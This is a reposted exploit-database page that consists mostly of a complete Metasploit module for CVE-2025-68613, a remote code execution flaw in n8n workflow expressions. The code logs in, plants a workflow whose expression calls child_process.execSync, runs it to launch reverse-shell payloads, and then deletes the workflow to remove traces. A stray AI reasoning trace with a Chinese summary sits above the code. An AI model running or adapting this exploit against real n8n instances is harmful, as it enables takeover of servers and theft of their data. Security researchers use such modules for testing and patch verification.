n8n Workflow Expression Remote Code Execution
嗯,用户让我帮忙总结一下这篇文章的内容,控制在100个字以内。首先,我需要仔细阅读文章内容,了解它的主要信息。 看起来这篇文章是关于n8n平台的一个远程代码执行漏洞的。漏洞的CVE编号是CVE-2025-68613,影响了特定版本的n8n。攻击者可以通过创建包含恶意表达式的workflow来执行任意系统命令。 文章中提到了攻击者需要有有效的凭证才能创建这些workflow。成功利用这个漏洞可能导致整个n8n实例被完全控制,包括访问敏感数据和执行系统操作。 接下来,我需要将这些关键点浓缩到100字以内。要注意不要遗漏重要的信息,比如漏洞的类型、影响范围、攻击条件以及潜在的影响。 总结的时候,应该包括:n8n平台的远程代码执行漏洞、CVE编号、利用workflow中的恶意表达式、需要认证、可能导致系统级操作等。 最后,确保语言简洁明了,没有使用复杂的术语,让读者一目了然。 </think> 该文章描述了一个针对n8n平台的远程代码执行漏洞(CVE-2025-68613),攻击者可通过恶意工作流表达式在Node.js环境中执行任意代码,需身份验证。 2026-1-14 22:25:1 Author: cxsecurity.com(查看原文) 阅读量:1 收藏

n8n Workflow Expression Remote Code Execution

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'n8n Workflow Expression Remote Code Execution', 'Description' => %q{ This module exploits a critical remote code execution vulnerability (CVE-2025-68613) in the n8n workflow automation platform. The vulnerability exists in the workflow expression evaluation system where user-supplied expressions enclosed in {{ }} are evaluated in an execution context that is not sufficiently isolated from the underlying Node.js runtime. An authenticated attacker can create a workflow containing malicious expressions that access the Node.js process object via this.process.mainModule.require (or via the constructor) to load child_process and execute arbitrary system commands. This module uses a Schedule Trigger node to automatically fire and evaluate the malicious payload. This requires valid credentials to create workflows. Successful exploitation may lead to full compromise of the n8n instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations. Affected versions: >= 0.211.0 and < 1.120.4, < 1.121.1, < 1.122.0 }, 'Author' => [ 'Lukas Johannes Möller' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-68613'], ['URL', 'https://github.com/n8n-io/n8n/security/advisories'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-68613'] ], 'Platform' => ['unix', 'linux', 'win'], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { # cmd/unix payloads use commands that might not be present in docker instance 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'wget' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ] ], 'Payload' => { 'BadChars' => %(') }, 'Privileged' => false, 'DisclosureDate' => '2025-06-10', 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 5678, 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path to n8n', '/']), OptString.new('USERNAME', [true, 'n8n username or email for authentication']), OptString.new('PASSWORD', [true, 'n8n password for authentication']) ] ) end def check return CheckCode::Unknown('Could not authenticate to n8n') unless authenticate res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rest', 'settings') ) return CheckCode::Unknown('Could not connect to n8n') if res.blank? return CheckCode::Detected('Connected to n8n, received unexpected response') unless res.code == 200 json = res.get_json_document version = Rex::Version.new(json.dig('data', 'versionCli')) return CheckCode::Detected('n8n detected but could not determine version') unless version print_status("Detected n8n version: #{version}") return CheckCode::Appears("Version #{version} is vulnerable") if version.between?(Rex::Version.new('0.211.0'), Rex::Version.new('1.120.4')) || version == Rex::Version.new('1.121.0') CheckCode::Safe("Version #{version} is not vulnerable") end def authenticate print_status('Attempting to authenticate...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'login'), 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => { 'emailOrLdapLoginId' => datastore['USERNAME'], 'email' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json ) return true if res&.code == 200 json_data = res.get_json_document print_error("Login failed: #{json_data['message']}") false end def create_malicious_workflow(cmd) expression_payload = %<{{ (function(){ return this.process.mainModule.require('child_process').execSync('#{cmd}').toString() })() }}> @workflow_name = "workflow_#{Rex::Text.rand_text_alphanumeric(8)}" workflow_data = { 'name' => @workflow_name, 'active' => false, 'settings' => { 'saveDataErrorExecution' => 'all', 'saveDataSuccessExecution' => 'all', 'saveManualExecutions' => true, 'executionOrder' => 'v1' }, 'nodes' => [ { parameters: {}, type: 'n8n-nodes-base.manualTrigger', typeVersion: 1, position: [ 0, 0 ], 'id' => Rex::Text.rand_text_alphanumeric(36), name: "When clicking 'Execute workflow'" }, { parameters: { values: { string: [ { value: "=#{expression_payload}" } ] }, options: {} }, id: '40031677-e085-4434-9168-fb0b21ead60d', name: 'Set', type: 'n8n-nodes-base.set', typeVersion: 1, position: [ 220, 0 ] } ], 'connections' => { "When clicking 'Execute workflow'" => { 'main' => [ [ { 'node' => 'Set', 'type' => 'main', 'index' => 0 } ] ] } } } print_status('Creating malicious workflow...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows'), 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => workflow_data.to_json ) fail_with(Failure::UnexpectedReply, "Failed to create workflow: #{res&.code}") unless res&.code == 200 || res&.code == 201 json = res.get_json_document @workflow_id = json.dig('data', 'id') || json['id'] nodes = json.dig('data', 'nodes') version_id = json.dig('data', 'versionId') id = json.dig('data', 'id') fail_with(Failure::UnexpectedReply, 'Failed to get workflow ID from response') unless @workflow_id && nodes && version_id && id activation_data = { 'workflowData' => { 'name' => @workflow_name, 'nodes' => nodes, 'pinData' => {}, 'connections' => { "When clicking 'Execute workflow'" => { 'main' => [ [ { 'node' => 'Set', 'type' => 'main', 'index' => 0 } ] ] } }, 'active' => false, 'settings' => { 'saveDataErrorExecution' => 'all', 'saveDataSuccessExecution' => 'all', 'saveManualExecutions' => true, 'executionOrder' => 'v1' }, 'tags' => [], 'versionId' => version_id, 'meta' => 'null', 'id' => id }, 'startNodes' => [], 'destinationNode' => 'Set' } print_status('Triggering malicious workflow...') # older versions on n8n allow to execute workflow without workflow ID, while the newer versions # have URI rest/workflow/[workflow ID]/run available to make workflow run. If the first request # returns 404, it means that it is probably newer version, so module will try the second variant. res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', 'run'), 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => activation_data.to_json ) if res&.code == 404 res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s, 'run'), 'ctype' => 'application/json', 'keep_cookies' => true, 'data' => activation_data.to_json ) end fail_with(Failure::PayloadFailed, 'Could not start workflow') unless res&.code == 200 print_good("Created workflow with ID: #{@workflow_id}") end def archive_workflow print_status("Cleaning up workflow #{@workflow_id}...") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s, 'archive'), 'keep_cookies' => true ) end def exploit cookie_jar.clear fail_with(Failure::NoAccess, 'Could not authenticate') unless authenticate create_malicious_workflow(payload.encoded) end def cleanup super if @workflow_id archive_workflow # delete workflow send_request_cgi( 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s) ) end end end



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2026010008
如有侵权请联系:admin#unsafe.sh